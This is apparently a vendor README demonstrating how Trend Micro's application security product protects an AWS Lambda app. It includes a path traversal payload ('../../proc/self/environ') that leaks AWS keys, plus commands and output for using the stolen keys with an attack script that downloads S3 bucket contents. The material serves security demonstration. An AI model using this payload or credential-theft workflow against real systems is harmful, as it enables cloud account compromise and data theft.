trend-anz / cloud-one-application-security-serverless

A demo of how Trend Micro's "Cloud One: Application Security" product can be used to protect serverless applications

Cloud One Application Security - Severless demo

A demonstration of how Trend Micro's "Cloud One: Application Security" solution can be used to protect serverless applications.

Deployment

This demo uses a Lambda layer. Doing so enables Application Security to be used with numerous Lambdas with ease.

If you're creating the layer on your machine, please follow the "Linux/Mac/Windows" instructions. Alternatively, if you're using EC2, please follow the "EC2" instructions.

Lambda layer - Linux/Mac/Windows

See this document for more information.

cd /tmp
mkdir -p app-sec-layer/python/lib/python3.7/
cd app-sec-layer
echo "trend-app-protect" >> requirements.txt

docker run \
-v "$PWD":/var/task \
"lambci/lambda:build-python3.7" \
/bin/sh -c "pip install -r requirements.txt -t python/lib/python3.7/site-packages/; exit"

zip -r trend.zip python > /dev/null

aws lambda publish-layer-version \
--layer-name app-protect \
--description "Trend Micro Application Security" \
--zip-file fileb://trend.zip \
--compatible-runtime "python3.7"

Lambda layer - EC2

mkdir /tmp/python
cd /tmp/python
pip3 install --target=/tmp/python trend-app-protect
cd ..
zip -r trend.zip python
aws lambda publish-layer-version \
    --layer-name app-protect \
    --description "App Protect" \
    --zip-file fileb://trend.zip \
    --compatible-runtimes python3.7

Deploy app

1. Obtain the Layer ARN.

2. Create the CloudFormation stack:

   aws cloudformation create-stack \
   --stack-name ApplicationSecurityDemo \
   --template-body file://cfn.yaml \
   --parameters ParameterKey=ApplicationSecurityLayerArn,ParameterValue=<LAYER_ARN> \
   --capabilities CAPABILITY_IAM
   

Attack the unprotected app

1. Obtain the app's URL:

   aws cloudformation describe-stacks --stack-name ApplicationSecurityDemo --query "Stacks[0].Outputs[?OutputKey=='AppUrl'].OutputValue" --output text    
   

2. Enter the following string into the form:

   ../../proc/self/environ
   

Among other things, the following values are shown:

• AWS_ACCESS_KEY_ID
• AWS_SECRET_ACCESS_KEY
• AWS_SESSION_TOKEN

These keys can be used by an attacker to access and control your AWS account. See the "Exploitation Demo" below for more information.

Protecting the app

1. Log into Application Security.

2. Create a new "Group".

3. Set "Illegal File Access" to "Mitigate".

4. Obtain the Key and Secret credentials.

5. Use these credentials to set the Lambda's TREND_AP_KEY and TREND_AP_SECRET API keys.

6. Try exploiting the app again:

   ../../proc/self/environ
   

Exploitation Demo

In this section of the documentation we'll cover how the aforementioned keys can be used for nefarious purposes.

For the purposes of this demo, let's pretend the Lambda required S3 bucket access.

1. Add the following policy to the Lambda's role:

   {
       "Version": "2012-10-17",
       "Statement": [
           {
               "Sid": "VisualEditor0",
               "Effect": "Allow",
               "Action": [
                   "s3:GetObject",
                   "s3:ListAllMyBuckets",
                   "s3:ListBucket"
               ],
               "Resource": "*"
           }
       ]
   }
   

   Note: The above policy gives the script read access to all buckets. If you'd like to specify a specific bucket ARN, please do so.

2. Take the "stolen" keys and set them as environment variables:

   export AWS_ACCESS_KEY=<ACCESS_KEY>
   export AWS_SECRET_KEY=<SECRET_KEY>
   export AWS_SESSION_TOKEN=<SESSION_TOKEN> 
   

   Optional: Specify where you want the downloaded objects to be stored on your system:

   export BASE_DEST_DIR=<DIR_PATH> # defaults to /tmp/<bucket_name>
   

3. Navigate to the code directory. Execute the attack_script.py script with the name of a bucket or the all keyword.

   Note: Use caution when specifying the all keyword. It will cause the script to download all objects from all S3 buckets.

Example runs

Executing the script with the super-secret-bucket-2812093901231 bucket name specified:

python3 attack_script.py super-secret-bucket-2812093901231
Checking if super-secret-bucket-2812093901231 exists...
Downloading: /tmp/super-secret-bucket-2812093901231/data/user-1-data.txt
Downloading: /tmp/super-secret-bucket-2812093901231/data/user-2-data.txt
Downloading: /tmp/super-secret-bucket-2812093901231/data/user-3-data.txt
Downloading: /tmp/super-secret-bucket-2812093901231/data/user-4-data.txt
Downloading: /tmp/super-secret-bucket-2812093901231/data/user-5-data.txt

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Successfully downloaded 5 files

Executing the script with the all keyword specified:

attack_script.py all
Found bucket: super-secret-bucket-2812093901231
Downloading: /tmp/super-secret-bucket-2812093901231/data/user-1-data.txt
Downloading: /tmp/super-secret-bucket-2812093901231/data/user-2-data.txt
Downloading: /tmp/super-secret-bucket-2812093901231/data/user-3-data.txt
Downloading: /tmp/super-secret-bucket-2812093901231/data/user-4-data.txt
Downloading: /tmp/super-secret-bucket-2812093901231/data/user-5-data.txt

Found bucket: trendcontainerdemo-cicd-artifact-vhjlbmrdb250ywluzxjezw1vlunjq0
Downloading: /tmp/trendcontainerdemo-cicd-artifact-vhjlbmrdb250ywluzxjezw1vlunjq0/Trend-Container-Imag/AppCode/P38kz5n
Downloading: /tmp/trendcontainerdemo-cicd-artifact-vhjlbmrdb250ywluzxjezw1vlunjq0/Trend-Container-Imag/AppCode/bLjODwJ

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Successfully downloaded 7 files

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